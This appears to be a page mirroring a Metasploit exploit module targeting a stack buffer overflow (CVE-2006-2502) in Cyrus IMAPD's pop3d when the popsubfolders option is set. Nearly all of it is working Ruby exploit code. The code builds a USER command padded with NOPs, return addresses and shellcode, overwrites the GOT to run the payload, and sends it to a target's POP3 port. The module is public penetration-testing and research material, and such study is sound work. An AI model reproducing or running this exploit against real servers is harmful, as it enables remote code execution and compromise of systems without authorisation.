Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',13'Description' => %q{14This exploit takes advantage of a stack based overflow. Once the stack15corruption has occurred it is possible to overwrite a pointer which is16later used for a memcpy. This gives us a write anything anywhere condition17similar to a format string vulnerability.1819NOTE: The popsubfolders option is a non-default setting.2021I chose to overwrite the GOT with my shellcode and return to it. This22defeats the VA random patch and possibly other stack protection features.2324Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with25a version containing the vulnerable code, it is not exploitable due to the26use of the FORTIFY_SOURCE compiler enhancement27},28'Author' => [ 'bannedit', 'jduck' ],29'License' => MSF_LICENSE,30'References' =>31[32[ 'CVE', '2006-2502' ],33[ 'OSVDB', '25853' ],34[ 'BID', '18056' ],35[ 'EDB', '2053' ],36[ 'EDB', '2185' ],37[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],38],39'Payload' =>40{41'Space' => 250,42'DisableNops' => true,43},44'Platform' => 'linux',45'Targets' =>46[47# bannedit: 0x080fd20448# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)49[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],50],51'Privileged' => true,52'DisclosureDate' => '2006-05-21',53'DefaultTarget' => 0))5455register_options( [ Opt::RPORT(110) ])56end57585960def exploit6162connect63banner = sock.get_once.to_s.strip6465print_status "Banner: #{banner}"6667# NOTE: orig poc shellcode len: 846869# kcope: 352+84+86+4 (nops,sc,nops,ret)70# K-sPecial: 84+(120*4) (sc,addrs)71# bannedit: 265+8+250+29+1672shellcode = payload.encoded7374buf = "USER "75buf << make_nops(265)76# return address77buf << [target.ret].pack('V') * 278buf << make_nops(250 - shellcode.length)79buf << shellcode80buf << make_nops(29)81sc_addr = target.ret - 27782buf << [sc_addr].pack('V') * 483buf << "\r\n"8485sock.send(buf, 0)86disconnect8788end89end909192